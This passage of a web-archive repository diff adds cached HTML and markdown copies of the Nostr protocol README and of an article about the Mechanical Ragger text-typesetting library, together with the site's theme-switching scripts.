<li>There are two components: <strong>clients</strong> and <strong>relays</strong>. Each user runs a client. Anyone can run a relay.</li> | |||
<li>Every user is identified by a public key. Every post is signed. Every client validates these signatures.</li> | |||
<li>Clients fetch data from relays of their choice and publish data to other relays of their choice. A relay doesn't talk to another relay, only directly to users.</li> | |||
<li>For example, to "follow" someone a user just instructs their client to query the relays it knows for posts from that public key.</li> | |||
<li>On startup, a client queries data from all relays it knows for all users it follows (for example, all updates from the last day), then displays that data to the user chronologically.</li> | |||
<li>A "post" can contain any kind of structured data, but the most used ones are going to find their way into the standard so all clients and relays can handle them seamlessly.</li> | |||
</ul> | |||
<h2>How does it solve the problems the networks above can't?</h2> | |||
<ul> | |||
<li><strong>Users getting banned and servers being closed</strong></li> | |||
<li>A relay can block a user from publishing anything there, but that has no effect on them as they can still publish to other relays. Since users are identified by a public key, they don't lose their identities and their follower base when they get banned.</li> | |||
<li>Instead of requiring users to manually type new relay addresses (although this should also be supported), whenever someone you're following posts a server recommendation, the client should automatically add that to the list of relays it will query.</li> | |||
<li>If someone is using a relay to publish their data but wants to migrate to another one, they can publish a server recommendation to that previous relay and go;</li> | |||
<li>If someone gets banned from many relays such that they can't get their server recommendations broadcasted, they may still let some close friends know through other means with which relay they are publishing now. Then, these close friends can publish server recommendations to that new server, and slowly, the old follower base of the banned user will begin finding their posts again from the new relay.</li> | |||
<li> | |||
<p>All of the above is valid too for when a relay ceases its operations.</p> | |||
</li> | |||
<li> | |||
<p><strong>Censorship-resistance</strong></p> | |||
</li> | |||
<li>Each user can publish their updates to any number of relays.</li> | |||
<li> | |||
<p>A relay can charge a fee (the negotiation of that fee is outside of the protocol for now) from users to publish there, which ensures censorship-resistance (there will always be some Russian server willing to take your money in exchange for serving your posts).</p> | |||
</li> | |||
<li> | |||
<p><strong>Spam</strong></p> | |||
</li> | |||
<li> | |||
<p>If spam is a concern for a relay, it can require payment for publication or some other form of authentication, such as an email address or phone, and associate these internally with a pubkey that then gets to publish to that relay — or other anti-spam techniques, like hashcash or captchas. If a relay is being used as a spam vector, it can easily be unlisted by clients, which can continue to fetch updates from other relays.</p> | |||
</li> | |||
<li> | |||
<p><strong>Data storage</strong></p> | |||
</li> | |||
<li>For the network to stay healthy, there is no need for hundreds of active relays. In fact, it can work just fine with just a handful, given the fact that new relays can be created and spread through the network easily in case the existing relays start misbehaving. Therefore, the amount of data storage required, in general, is relatively less than Mastodon or similar software.</li> | |||
<li> | |||
<p>Or considering a different outcome: one in which there exist hundreds of niche relays run by amateurs, each relaying updates from a small group of users. The architecture scales just as well: data is sent from users to a single server, and from that server directly to the users who will consume that. It doesn't have to be stored by anyone else. In this situation, it is not a big burden for any single server to process updates from others and having amateur servers is not a problem.</p> | |||
</li> | |||
<li> | |||
<p><strong>Video and other heavy content</strong></p> | |||
</li> | |||
<li> | |||
<p>It's easy for a relay to reject large content, or to charge for accepting and hosting large content. When information and incentives are clear, it's easy for the market forces to solve the problem.</p> | |||
</li> | |||
<li> | |||
<p><strong>Techniques to trick the user</strong></p> | |||
</li> | |||
<li>Each client can decide how to best show posts to users, so there is always the option of just consuming what you want in the manner you want — from using an AI to decide the order of the updates you'll see to just reading them in chronological order.</li> | |||
</ul> | |||
<h2>FAQ</h2> | |||
<ul> | |||
<li><strong>This is very simple. Why hasn't anyone done it before?</strong></li> | |||
</ul> | |||
<p>I don't know, but I imagine it has to do with the fact that people making social networks are either companies wanting to make money or P2P activists who want to make a thing completely without servers. They both fail to see the specific mix of both worlds that Nostr uses.</p> | |||
<ul> | |||
<li><strong>Can I know how many people are following me?</strong></li> | |||
</ul> | |||
<p>No, but you can get some estimates if relays cooperate in an extra-protocol way.</p> | |||
<h2>Protocol specification</h2> | |||
<p>See the <a href="nips">NIPs</a> and especially <a href="nips/01.md">NIP-01</a> for a reasonably-detailed explanation of the protocol spec (hint: it is very short and simple).</p> | |||
<h2>Small list of software that implement the Nostr protocol somehow</h2> | |||
<h3>Relays</h3> | |||
<ul> | |||
<li><a href="https://github.com/Kukks/NNostr">NNostr</a>, a C# Nostr relay.</li> | |||
<li><a href="https://sr.ht/~gheartsfield/nostr-rs-relay/">nostr-rs-relay</a>, a minimalistic relay written in Rust that saves data on SQLite.</li> | |||
<li><a href="https://github.com/fiatjaf/relayer/tree/master/basic">Relayer Basic</a>, a simple relay based on <em>relayer</em> backed by Postgres.</li> | |||
<li><a href="https://github.com/fiatjaf/rsslay">rsslay</a>, a bridge that puts RSS feeds into Nostr.</li> | |||
<li><a href="https://github.com/Dolu89/nodestr-relay">nodestr</a>, A Node.js implementation.</li> | |||
</ul> | |||
<h3>Clients</h3> | |||
<ul> | |||
<li><a href="https://github.com/fiatjaf/branle">branle</a>, a Twitter-like client also with chat.</li> | |||
<li><a href="https://github.com/fiatjaf/noscli">noscl</a>, a basic command-line client written in Go.</li> | |||
<li><a href="https://github.com/emeceve/nostr-chat">nostr-chat</a>, a desktop app written in Rust for direct encrypted chat.</li> | |||
<li><a href="https://github.com/dolu89/chastr">chastr</a>, a mobile directed encrypted chat app written in Xamarin.</li> | |||
<li><a href="https://github.com/arcbtc/nostr">nostr-twitter</a>, a Twitter-like UI that also implements private direct messages.</li> | |||
</ul> | |||
<h3>Libraries</h3> | |||
<ul> | |||
<li><a href="https://github.com/Kukks/NNostr">NNostr.Client</a>, a C# Nostr library for use by clients.</li> | |||
<li><a href="https://github.com/fiatjaf/nostr-tools">nostr-tools</a>, a JavaScript client that abstracts the relay management code for use by clients.</li> | |||
<li><a href="https://github.com/fiatjaf/go-nostr">go-nostr</a>, a Go library that implements relay management, plus event encoding and signing utils.</li> | |||
<li><a href="https://github.com/futurepaul/nostr-rs">nostr-rs</a>, a Rust implementation of the nostr protocol.</li> | |||
<li><a href="https://github.com/fiatjaf/relayer">relayer</a>, a server framework for writing custom relays.</li> | |||
</ul> | |||
<h3>Tools</h3> | |||
<ul> | |||
<li><a href="https://nostr-registry.netlify.app/">nostr relay registry</a>, real-time checking of status of some known relays.</li> | |||
<li><a href="https://codeberg.org/rsbondi/nostr-registry">nostr registry</a>, a database of known relays with their uptime and NIP support tables.</li> | |||
<li><a href="https://codeberg.org/rsbondi/nostr-launch">nostr-launch</a>, a tool for launching a bunch of relays and clients locally for development and testing.</li> | |||
</ul> | |||
<h2>License</h2> | |||
<p>Public domain.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,130 @@ | |||
title: nostr - Notes and Other Stuff Transmitted by Relays | |||
url: https://github.com/fiatjaf/nostr | |||
hash_url: af26cb6361904f154ea71e2c5b2271cc | |||
The simplest open protocol that is able to create a censorship-resistant global "social" network once and for all. | |||
It doesn't rely on any trusted central server, hence it is resilient; it is based on cryptographic keys and signatures, so it is tamperproof; it does not rely on P2P techniques, therefore it works. | |||
This is a work-in-progress. [Join the Telegram group!](https://t.me/nostr_protocol) | |||
## Very short summary of how it works, if you don't plan to read anything else: | |||
Everybody runs a client. It can be a native client, a web client, etc. To publish something, you write a post, sign it with your key and send it to multiple relays (servers hosted by someone else, or yourself). To get updates from other people, you ask multiple relays if they know anything about these other people. Anyone can run a relay. A relay is very simple and dumb. It does nothing besides accepting posts from some people and forwarding to others. Relays don't have to be trusted. Signatures are verified on the client side. | |||
## This is needed because other solutions are broken: | |||
### The problem with Twitter | |||
- Twitter has ads; | |||
- Twitter uses bizarre techniques to keep you addicted; | |||
- Twitter doesn't show an actual historical feed from people you follow; | |||
- Twitter bans people; | |||
- Twitter shadowbans people. | |||
- Twitter has a lot of spam. | |||
### The problem with Mastodon and similar programs | |||
- User identities are attached to domain names controlled by third-parties; | |||
- Server owners can ban you, just like Twitter; | |||
- Migration between servers is an afterthought and can only be accomplished if servers cooperate. It doesn't work in an adversarial environment (all followers are lost); | |||
- There are no clear incentives to run servers, therefore they tend to be run by enthusiasts and people who want to have their name attached to a cool domain. Then, users are subject to the despotism of a single person, which is often worse than that of a big company like Twitter, and they can't migrate out; | |||
- Since servers tend to be run amateurishly, they are often abandoned after a while — which is effectively the same as banning everybody; | |||
- It doesn't make sense to have a ton of servers if updates from every server will have to be painfully pushed (and saved!) to a ton of other servers. This point is exacerbated by the fact that servers tend to exist in huge numbers, therefore more data has to be passed to more places more often; | |||
- For the specific example of video sharing, ActivityPub enthusiasts realized it would be completely impossible to transmit video from server to server the way text notes are, so they decided to keep the video hosted only from the single instance where it was posted to, which is similar to the Nostr approach. | |||
### The problem with SSB (Secure Scuttlebutt) | |||
- It doesn't have many problems. I think it's great. In fact, I was going to use it as a basis for this, but | |||
- its protocol is too complicated because it wasn't thought about being an open protocol at all. It was just written in JavaScript in probably a quick way to solve a specific problem and grew from that, therefore it has weird and unnecessary quirks like signing a JSON string which must strictly follow the rules of [_ECMA-262 6th Edition_](https://www.ecma-international.org/ecma-262/6.0/#sec-json.stringify); | |||
- It insists on having a chain of updates from a single user, which feels unnecessary to me and something that adds bloat and rigidity to the thing — each server/user needs to store all the chain of posts to be sure the new one is valid. Why? (Maybe they have a good reason); | |||
- It is not as simple as Nostr, as it was primarily made for P2P syncing, with "pubs" being an afterthought; | |||
- Still, it may be worth considering using SSB instead of this custom protocol and just adapting it to the client-relay server model, because reusing a standard is always better than trying to get people in a new one. | |||
### The problem with other solutions that require everybody to run their own server | |||
- They require everybody to run their own server; | |||
- Sometimes people can still be censored in these because domain names can be censored. | |||
## How does Nostr work? | |||
- There are two components: __clients__ and __relays__. Each user runs a client. Anyone can run a relay. | |||
- Every user is identified by a public key. Every post is signed. Every client validates these signatures. | |||
- Clients fetch data from relays of their choice and publish data to other relays of their choice. A relay doesn't talk to another relay, only directly to users. | |||
- For example, to "follow" someone a user just instructs their client to query the relays it knows for posts from that public key. | |||
- On startup, a client queries data from all relays it knows for all users it follows (for example, all updates from the last day), then displays that data to the user chronologically. | |||
- A "post" can contain any kind of structured data, but the most used ones are going to find their way into the standard so all clients and relays can handle them seamlessly. | |||
## How does it solve the problems the networks above can't? | |||
- **Users getting banned and servers being closed** | |||
- A relay can block a user from publishing anything there, but that has no effect on them as they can still publish to other relays. Since users are identified by a public key, they don't lose their identities and their follower base when they get banned. | |||
- Instead of requiring users to manually type new relay addresses (although this should also be supported), whenever someone you're following posts a server recommendation, the client should automatically add that to the list of relays it will query. | |||
- If someone is using a relay to publish their data but wants to migrate to another one, they can publish a server recommendation to that previous relay and go; | |||
- If someone gets banned from many relays such that they can't get their server recommendations broadcasted, they may still let some close friends know through other means with which relay they are publishing now. Then, these close friends can publish server recommendations to that new server, and slowly, the old follower base of the banned user will begin finding their posts again from the new relay. | |||
- All of the above is valid too for when a relay ceases its operations. | |||
- **Censorship-resistance** | |||
- Each user can publish their updates to any number of relays. | |||
- A relay can charge a fee (the negotiation of that fee is outside of the protocol for now) from users to publish there, which ensures censorship-resistance (there will always be some Russian server willing to take your money in exchange for serving your posts). | |||
- **Spam** | |||
- If spam is a concern for a relay, it can require payment for publication or some other form of authentication, such as an email address or phone, and associate these internally with a pubkey that then gets to publish to that relay — or other anti-spam techniques, like hashcash or captchas. If a relay is being used as a spam vector, it can easily be unlisted by clients, which can continue to fetch updates from other relays. | |||
- **Data storage** | |||
- For the network to stay healthy, there is no need for hundreds of active relays. In fact, it can work just fine with just a handful, given the fact that new relays can be created and spread through the network easily in case the existing relays start misbehaving. Therefore, the amount of data storage required, in general, is relatively less than Mastodon or similar software. | |||
- Or considering a different outcome: one in which there exist hundreds of niche relays run by amateurs, each relaying updates from a small group of users. The architecture scales just as well: data is sent from users to a single server, and from that server directly to the users who will consume that. It doesn't have to be stored by anyone else. In this situation, it is not a big burden for any single server to process updates from others and having amateur servers is not a problem. | |||
- **Video and other heavy content** | |||
- It's easy for a relay to reject large content, or to charge for accepting and hosting large content. When information and incentives are clear, it's easy for the market forces to solve the problem. | |||
- **Techniques to trick the user** | |||
- Each client can decide how to best show posts to users, so there is always the option of just consuming what you want in the manner you want — from using an AI to decide the order of the updates you'll see to just reading them in chronological order. | |||
## FAQ | |||
- **This is very simple. Why hasn't anyone done it before?** | |||
I don't know, but I imagine it has to do with the fact that people making social networks are either companies wanting to make money or P2P activists who want to make a thing completely without servers. They both fail to see the specific mix of both worlds that Nostr uses. | |||
- **Can I know how many people are following me?** | |||
No, but you can get some estimates if relays cooperate in an extra-protocol way. | |||
## Protocol specification | |||
See the [NIPs](nips) and especially [NIP-01](nips/01.md) for a reasonably-detailed explanation of the protocol spec (hint: it is very short and simple). | |||
## Small list of software that implement the Nostr protocol somehow | |||
### Relays | |||
- [NNostr](https://github.com/Kukks/NNostr), a C# Nostr relay. | |||
- [nostr-rs-relay](https://sr.ht/~gheartsfield/nostr-rs-relay/), a minimalistic relay written in Rust that saves data on SQLite. | |||
- [Relayer Basic](https://github.com/fiatjaf/relayer/tree/master/basic), a simple relay based on _relayer_ backed by Postgres. | |||
- [rsslay](https://github.com/fiatjaf/rsslay), a bridge that puts RSS feeds into Nostr. | |||
- [nodestr](https://github.com/Dolu89/nodestr-relay), A Node.js implementation. | |||
### Clients | |||
- [branle](https://github.com/fiatjaf/branle), a Twitter-like client also with chat. | |||
- [noscl](https://github.com/fiatjaf/noscli), a basic command-line client written in Go. | |||
- [nostr-chat](https://github.com/emeceve/nostr-chat), a desktop app written in Rust for direct encrypted chat. | |||
- [chastr](https://github.com/dolu89/chastr), a mobile directed encrypted chat app written in Xamarin. | |||
- [nostr-twitter](https://github.com/arcbtc/nostr), a Twitter-like UI that also implements private direct messages. | |||
### Libraries | |||
- [NNostr.Client](https://github.com/Kukks/NNostr), a C# Nostr library for use by clients. | |||
- [nostr-tools](https://github.com/fiatjaf/nostr-tools), a JavaScript client that abstracts the relay management code for use by clients. | |||
- [go-nostr](https://github.com/fiatjaf/go-nostr), a Go library that implements relay management, plus event encoding and signing utils. | |||
- [nostr-rs](https://github.com/futurepaul/nostr-rs), a Rust implementation of the nostr protocol. | |||
- [relayer](https://github.com/fiatjaf/relayer), a server framework for writing custom relays. | |||
### Tools | |||
- [nostr relay registry](https://nostr-registry.netlify.app/), real-time checking of status of some known relays. | |||
- [nostr registry](https://codeberg.org/rsbondi/nostr-registry), a database of known relays with their uptime and NIP support tables. | |||
- [nostr-launch](https://codeberg.org/rsbondi/nostr-launch), a tool for launching a bunch of relays and clients locally for development and testing. | |||
## License | |||
Public domain. |
@@ -0,0 +1,220 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Mechanical Ragger: Print typesetting for the web (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://oak.is/thinking/mechanical-ragger/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Mechanical Ragger: Print typesetting for the web</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://oak.is/thinking/mechanical-ragger/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>The web has never been a place for perfectionism. Typesetting in particular has been a long-neglected facet of web design because we’ve lacked the tools to give long texts the editorial care they need.</p> | |||
<p>In print media, text ragging is an <a href="https://oakstudios.github.io/mechanical-ragger/examples">established practice</a> to help this, but up to now there have been no tools on the web to do this.</p> | |||
<p>We built <a href="https://oakstudios.github.io/mechanical-ragger/">Mechanical Ragger</a> to give designers some peace of mind; it tidies line endings so that long paragraphs will feel natural to read, and users won’t have to strain to read them.</p> | |||
<p>Historically, text ragging is a practice to adjust the uneven line ends of paragraphs. (In a left-aligned paragraph, this is the right side.) We can illustrate how this would enhance readability in a long flow of text:</p> | |||
<p class="wide"><img src="/uploads/Ragging%20Animation.svg" alt="Comparison showing text ragging"></p> | |||
<p class="caption">Text without ragging (left) compared to with ragging (right)</p> | |||
<p>Without ragging, lines are left to break naturally with the content, where long words at the end of a line can cause irregularities in the shape of paragraphs. This often has the effect of drawing a reader’s attention away from the content. A well-ragged paragraph removes these and brings a sense of rhythm and harmony to the often irregular shapes of latin text, ensuring readers can get through the copy without distraction.</p> | |||
<p>Mechanical Ragger brings this print concept to the web, improving the appearance of text blocks by removing these significant gaps and alternating line lengths to enhance the rhythm of the paragraph. To do this, it adds shapes to every other line in a paragraph, causing text to wrap around it:</p> | |||
<p><img src="/uploads/Exclusion%20Example.svg" alt="Visual showing how Mechanical Ragger works"></p> | |||
<p class="caption">How Mechanical Ragger works behind the scenes</p> | |||
<h2 id="demo">Demo</h2> | |||
<p><a href="https://oakstudios.github.io/mechanical-ragger"><img src="/uploads/mechanical-ragger-demo.png" alt="Mechanical Ragger demo website"></a></p> | |||
<p class="caption">View a live demo at: <a href="https://oakstudios.github.io/mechanical-ragger">oakstudios.github.io/mechanical-ragger</a></p> | |||
<h2 id="usage">Usage</h2> | |||
<p>We built this tool as an extensible JavaScript library; it’s ready-to-use on the web, in React, and easily portable to any framework. Using the web component, the setup can be as simple as:</p> | |||
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o"><</span><span class="nx">mechanical</span><span class="o">-</span><span class="nx">ragger</span><span class="o">></span> | |||
<span class="nx">Lorem</span> <span class="nx">ipsum</span> <span class="nx">dolor</span> <span class="nx">sit</span> <span class="nx">amet</span> <span class="nx">consectetur</span> <span class="nx">adipisicing</span> <span class="nx">elit</span><span class="p">.</span> | |||
<span class="o"><</span><span class="sr">/mechanical-ragger</span><span class="err">> | |||
</span> | |||
<span class="o"><</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">https://unpkg.com/@oakstudios/mechanical-ragger@latest/web-component-auto-register.js</span><span class="dl">"</span><span class="o">><</span><span class="sr">/script</span><span class="err">> | |||
</span></code></pre></div></div> | |||
<h2 id="considerations">Considerations</h2> | |||
<p>Typesetting is about more than just the shape of the text, though. There are a few related considerations to keep in mind when ragging:</p> | |||
<ul> | |||
<li>Avoid repeating words or shapes at the end of each line in a paragraph.</li> | |||
<li>Avoid breaking too many words, which can make readability worse.</li> | |||
</ul> | |||
<p>Advanced typesetting is complex and contextual, requiring a human touch. While the mechanical ragger is a useful aid, we call it mechanical for a reason, and content must be written accordingly.</p> | |||
<p>Mechanical Ragger is open-source, on <a href="https://github.com/oakstudios/mechanical-ragger">GitHub</a> and as an <a href="https://www.npmjs.com/@oakstudios/mechanical-ragger">NPM module</a>. Contributions to add new features and more platform support for the Mechanical Ragger are always welcome.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,53 @@ | |||
title: Mechanical Ragger: Print typesetting for the web | |||
url: https://oak.is/thinking/mechanical-ragger/ | |||
hash_url: c0e7ed5590b520f176aacfd76ae03188 | |||
<p>The web has never been a place for perfectionism. Typesetting in particular has been a long-neglected facet of web design because we’ve lacked the tools to give long texts the editorial care they need.</p> | |||
<p>In print media, text ragging is an <a href="https://oakstudios.github.io/mechanical-ragger/examples">established practice</a> to help this, but up to now there have been no tools on the web to do this.</p> | |||
<p>We built <a href="https://oakstudios.github.io/mechanical-ragger/">Mechanical Ragger</a> to give designers some peace of mind; it tidies line endings so that long paragraphs will feel natural to read, and users won’t have to strain to read them.</p> | |||
<p>Historically, text ragging is a practice to adjust the uneven line ends of paragraphs. (In a left-aligned paragraph, this is the right side.) We can illustrate how this would enhance readability in a long flow of text:</p> | |||
